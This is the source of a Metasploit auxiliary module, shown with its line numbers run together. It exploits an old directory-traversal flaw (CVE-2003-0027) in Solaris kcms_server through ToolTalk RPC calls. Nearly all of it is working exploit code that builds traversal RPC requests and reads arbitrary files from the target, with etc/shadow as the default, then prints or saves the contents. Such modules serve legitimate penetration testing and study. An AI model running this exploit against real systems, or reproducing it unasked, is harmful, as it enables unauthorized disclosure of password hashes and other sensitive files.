Path: blob/master/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb
19851 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'English'6class MetasploitModule < Msf::Auxiliary7include Msf::Exploit::Remote::SunRPC89def initialize10super(11'Name' => 'Solaris KCMS + TTDB Arbitrary File Read',12'Description' => %q{13This module targets a directory traversal vulnerability in the14kcms_server component from the Kodak Color Management System. By15utilizing the ToolTalk Database Server\'s TT_ISBUILD procedure, an16attacker can bypass existing directory traversal validation and17read arbitrary files.1819Vulnerable systems include Solaris 2.5 - 9 SPARC and x86. Both20kcms_server and rpc.ttdbserverd must be running on the target21host.22},23'Author' => [24'vlad902 <vlad902[at]gmail.com>', # MSF v2 module25'jduck' # Ported to MSF v326],27'License' => MSF_LICENSE,28'References' => [29['CVE', '2003-0027'],30['OSVDB', '8201'],31['BID', '6665'],32['URL', 'http://marc.info/?l=bugtraq&m=104326556329850&w=2']33],34# Tested OK against sol8.tor 20100624 -jjd35'DisclosureDate' => 'Jan 22 2003')3637register_options(38[39OptString.new('PATH', [ true, 'Path to the file to disclose, relative to the root dir.', 'etc/shadow']),40OptString.new('OUTPUTPATH', [ false, 'Local path to save the file contents to', nil ])41]42)43end4445def run46# There is a fixed size buffer in use, so make sure we don't exceed it..47# (NOTE: 24 bytes are reserved for traversal string)48path = datastore['PATH']49if (path.length > 1000)50raise 'File name is too long.'51end5253print_status('Making request to the ToolTalk Database Server...')5455# Hopefully one of these works ;)56ttdb_build('/etc/openwin/devdata/profiles/TT_DB/oid_container')57ttdb_build('/etc/openwin/etc/devdata/TT_DB/oid_container')5859# If not, we'll find out now ...60print_status('Making open() request to the kcms_server...')61sunrpc_create('tcp', 100221, 1)62sunrpc_authunix('localhost', 0, 0, [])6364# Prepare the traversing request for kcms_server65trav = 'TT_DB/' + ('../' * 5) + path66buf = Rex::Encoder::XDR.encode(67[trav, 1024],680, # O_RDONLY690o75570) # mode7172# Make the request73ret = sunrpc_call(1003, buf)74ack, fsize, fd = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer)7576if (ack != 0)77print_error('KCMS open() failed (ack: 0x%x != 0)' % ack)7879if (fsize == 0)80print_status('File does not exist (or host is patched)')81end82return83end8485# Nice, open succeeded, show the return data86print_status("fd: #{fd}, file size #{fsize}")8788print_status('Making read() request to the kcms_server...')89buf = Rex::Encoder::XDR.encode(90fd,910,92fsize93)9495ret = sunrpc_call(1005, buf)96_, data = Rex::Encoder::XDR.decode!(ret, Integer, [Integer])9798# If we got something back...99if data100data = data.pack('C*')101102# Store or display the results103if datastore['OUTPUTPATH']104fname = datastore['PATH'].gsub(%r{[/\\]}, '_')105outpath = File.join(datastore['OUTPUTPATH'], fname)106print_status("Saving contents to #{outpath} ...")107File.open(outpath, 'wb') do |f|108f.write(data)109end110else111print_status('File contents:')112print_status(data.inspect)113end114else115print_error('No data returned!')116end117118# Close it regardless if it returned anything..119print_status('Making close() request to the kcms_server...')120buf = Rex::Encoder::XDR.encode(fd)121sunrpc_call(1004, buf)122123# done124sunrpc_destroy125rescue Timeout::Error, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Rex::Proto::SunRPC::RPCError => e126print_error(e.to_s)127rescue ::Rex::Proto::SunRPC::RPCTimeout128print_warning('Warning: ' + $ERROR_INFO)129print_warning('Exploit may or may not have succeeded.')130end131132#133# Send a TT_ISBUILD request to rpc.ttdbserverd134#135def ttdb_build(path)136sunrpc_create('tcp', 100083, 1)137sunrpc_authunix('localhost', 0, 0, [])138msg = Rex::Encoder::XDR.encode(139[path, 1024],140path.length,1411, # KEY (VArray head?)1422,1431,1440, # KEYDESC1452,1461,147# 21 zeros, /KEYDESC, /KEY1480, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,1490x10002,150path.length151)152ret = sunrpc_call(3, msg)153arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer)154print_status(format("TTDB reply: 0x%<addr>x, #{arr[1]}", addr: arr[0]))155sunrpc_destroy156end157end158159160